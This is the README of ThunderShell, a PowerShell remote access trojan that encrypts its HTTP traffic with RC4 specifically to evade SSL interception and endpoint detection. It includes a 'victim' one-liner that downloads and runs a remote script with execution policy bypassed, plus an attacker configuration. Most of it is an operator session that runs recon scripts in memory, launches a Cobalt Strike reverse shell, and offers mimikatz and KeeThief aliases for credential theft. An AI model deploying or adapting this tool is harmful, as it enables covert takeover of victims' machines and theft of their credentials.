ThunderShell is a Powershell based RAT that rely on HTTP request to communicate. All the network traffic is encrypted using a second layer of RC4 to avoid SSL interception and defeat network hooks.

Dependencies

apt install redis-server
 apt install python-redis

Logs
Every errors, http requests and commands are logged in the logs folder.

How it works
Once the PowerShell script is executed and HTTP request will be issued to the server. The body of each POST request contains the RC4 encrypted communication. Why RC4 because it's strong enough to hide the traffic. The idea is to upload / download data over the network that cannot be inspected. The RAT support HTTPS but some security product may perform SSL interception and obtain visibility on your data leading to detection of malicious payload (PowerShell script, stager etc...). The RC4 encryption allows you to communicate over the wire without leaking your payload. The RC4 encryption also protects against endpoint agent that inspects traffic directly on the host, again the traffic is decrypted at the "software" level blocking detection at that level too.
To use the power of the tool there is some built-in function such as fetch, exec and upload that allow you to run your payload quite easily.

• Fetch flow

The server will fetch a resource (path, url) 
         Send the data over the RC4 encrypted channel
                 The PowerShell RAT will decrypt the payload 
                         PowerShell Execute the final payload

For example if you fetch PowerView.ps1 script it will be fully encrypted over the wire avoiding detection since the server is proxying the request and fully encrypt the data.

Usage
Victim:

powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://ringzer0team.com/PS-RemoteShell.ps1'); PS-RemoteShell -ip 1.1.1.1 -port 8080 -Key test -Delay 2000

Attacker side example:

• default.json:

{
         "redis-host": "localhost",
         "redis-port": 6379,
 
         "http-host": "192.168.17.129",
         "http-port": 8080,
         "http-server": "Microsoft-IIS/7.5",
 
         "https-enabled": "off",
         "https-cert-path": "cert.pem",
 
         "encryption-key": "test",
         "max-output-timeout": 5
 }

me@debian-dev:~$ python ThunderShell.py default.json
 
 Thunder Shell 1.1 | Clients Server CLI
 Mr.Un1k0d3r RingZer0 Team 2017
 --------------------------------------------------------
 
 [+] Starting web server on 192.168.17.129 port 8080
 
 (Main)>>>
 [+] Registering new shell 10.0.0.153:RingZer0\MrUn1k0d3r
 [+] New shell ID 13 GUID is 4c05a17f-036a-4cd4-9446-da46281d5754
 
 
 [-]  is not a valid command
 
 (Main)>>> help
 
 Help Menu
 -----------------------
 
         list      args (full)             List all active shells
         interact  args (id)               Interact with a session
         show      args (error/http/event, count)  Show error, http or event log (default number of rows 10)
         kill      args (id)               Kill shell (clear db only)
         exit                              Exit the application
         help                              Show this help menu
 
 (Main)>>> list
 
 List of active shells
 -----------------------
 
   4       x64  -  10.0.0.153:RingZer0\MrUn1k0d3r
   3       x64  -  10.0.0.153:RingZer0\MrUn1k0d3r
   2       x64  -  10.0.0.153:RingZer0\MrUn1k0d3r
   1       x64  -  10.0.0.153:RingZer0\MrUn1k0d3r
 
 (Main)>>> list full
 
 List of active shells
 -----------------------
 
   4       x64  -  10.0.0.153:RingZer0\MrUn1k0d3r 2836ccdc-6747-45a4-8461-fa4022ac6bd0 last seen 13/09/2017 09:59:32
   3       x64  -  10.0.0.153:RingZer0\MrUn1k0d3r d09093a0-d3d7-4de9-b3a9-191ab7b2fef1 last seen 13/09/2017 09:54:31
   2       x64  -  10.0.0.153:RingZer0\MrUn1k0d3r 8d95e7c8-6868-4eb3-8ba8-231a1fdfcb92 last seen 13/09/2017 09:50:18
   1       x64  -  10.0.0.153:RingZer0\MrUn1k0d3r 90c608da-b64d-4d3a-9336-458e73658e49 last seen 12/09/2017 18:27:47
 
 (Main)>>> interact 4
 
 (x64 - 10.0.0.153:RingZer0\MrUn1k0d3r)>>> help
 
 Shell Help Menu
 -----------------------
 
         background                              Return to the main console
         refresh                                 Check for previous commands output
         fetch         args (path/url, command)  In memory execution of a script and execute a commmand
         exec          args (path/url)           In memory execution of code (shellcode)
         read          args (remote path)        Read a file on the remote host
         upload        args (path/url, path)     Upload a file on the remote system
         ps                                      List processes
         powerless     args (powershell)         Execute Powershell command without invoking Powershell
         inject        args (32/64, pid, command)Inject command into a target process (max length 4096)
         alias         args (key, value)         Create an alias to avoid typing the same thing over and over
         delay         args (milliseconds)       Update the callback delay
         help                                    Show this help menu
 
 
 List of built in alias
 -----------------------
 
         powerup                 PowerUp tool set
         wmiexec                 Remote-WmiExecute utility
         searchevent             Search-EventForUser utility
         keethief                KeeThief tool set (Get-KeePassDatabaseKey)
         mimikatz                Invoke-Mimikatz utility
         inveigh                 Invoke-Inveigh utility
         powerview               PowerView tool set
 
 
 List user defined alias
 -----------------------
 
 
 (x64 - 10.0.0.153:RingZer0\MrUn1k0d3r)>>> whoami
 RingZer0\MrUn1k0d3r
 
 (x64 - 10.0.0.153:RingZer0\MrUn1k0d3r)>>> delay 0
 Updating delay to 0
 Delay is now 0
 
 
 (x64 - 10.0.0.153:RingZer0\MrUn1k0d3r)>>> fetch powerview Get-NetLocalGroup -ComputerName 127.0.0.1
 [+] Fetching https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
 [+] Executing Get-NetLocalGroup -ComputerName 127.0.0.1
 
 
 (x64 - 10.0.0.153:RingZer0\MrUn1k0d3r)>>> refresh
 
 
 ComputerName : 127.0.0.1
 AccountName  : 10-R90G3RLC-1GG/Administrator
 IsDomain     : False
 IsGroup      : False
 SID          : S-1-5-21-
 Description  : Built-in account for administering the computer/domain
 PwdLastSet   : 8/11/2017 6:01:45 PM
 PwdExpired   : False
 UserFlags    : 66049
 Disabled     : False
 LastLogin    : 8/11/2017 5:58:47 PM
 
 (x64 - 10.0.0.153:RingZer0\MrUn1k0d3r)>>> fetch https://raw.githubusercontent.com/Mr-Un1k0d3r/RedTeamPowershellScripts/master/scripts/Get-BrowserHomepage.ps1 Get-BrowserHomepage
 [+] Fetching https://raw.githubusercontent.com/Mr-Un1k0d3r/RedTeamPowershellScripts/master/scripts/Get-BrowserHomepage.ps1
 [+] Executing Get-BrowserHomepage
 
 Start Page
 ----------
 https://www.ringzer0team.com/
 
 
 (x64 - 10.0.0.153:RingZer0\MrUn1k0d3r)>>> ps
 
  PID Name                       Owner                    CommandLine
  --- ----                       -----                    -----------
    0 System Idle Process
    4 System
  364 smss.exe
  492 csrss.exe
 
 (x64 - 10.0.0.153:RingZer0\MrUn1k0d3r)>>> exec /home/attacker/cobaltstrike-reverse-https
 [+] Fetching /home/attacker/cobaltstrike-reverse-https
 [+] Payload should be executed shortly on the target
 
 (x64 - 10.0.0.153:RingZer0\MrUn1k0d3r)>>> background
 
 (Main)>>> show http
 
 Last 10 lines of log
 -----------------------
 
 192.168.17.1 (Wed Sep 13 17:09:42 2017) [192.168.17.1] POST /?ba1192b6-5dc4-4b75-be3a-e0e9fa819088 HTTP/1.1
 
 192.168.17.1 (Wed Sep 13 17:09:40 2017) [192.168.17.1] POST /?ba1192b6-5dc4-4b75-be3a-e0e9fa819088 HTTP/1.1
 
 192.168.17.1 (Wed Sep 13 17:09:38 2017) [192.168.17.1] POST /?ba1192b6-5dc4-4b75-be3a-e0e9fa819088 HTTP/1.1
 
 192.168.17.1 (Wed Sep 13 17:09:35 2017) [192.168.17.1] POST /?ba1192b6-5dc4-4b75-be3a-e0e9fa819088 HTTP/1.1
 

Credit
Mr.Un1k0d3r RingZer0 Team 2017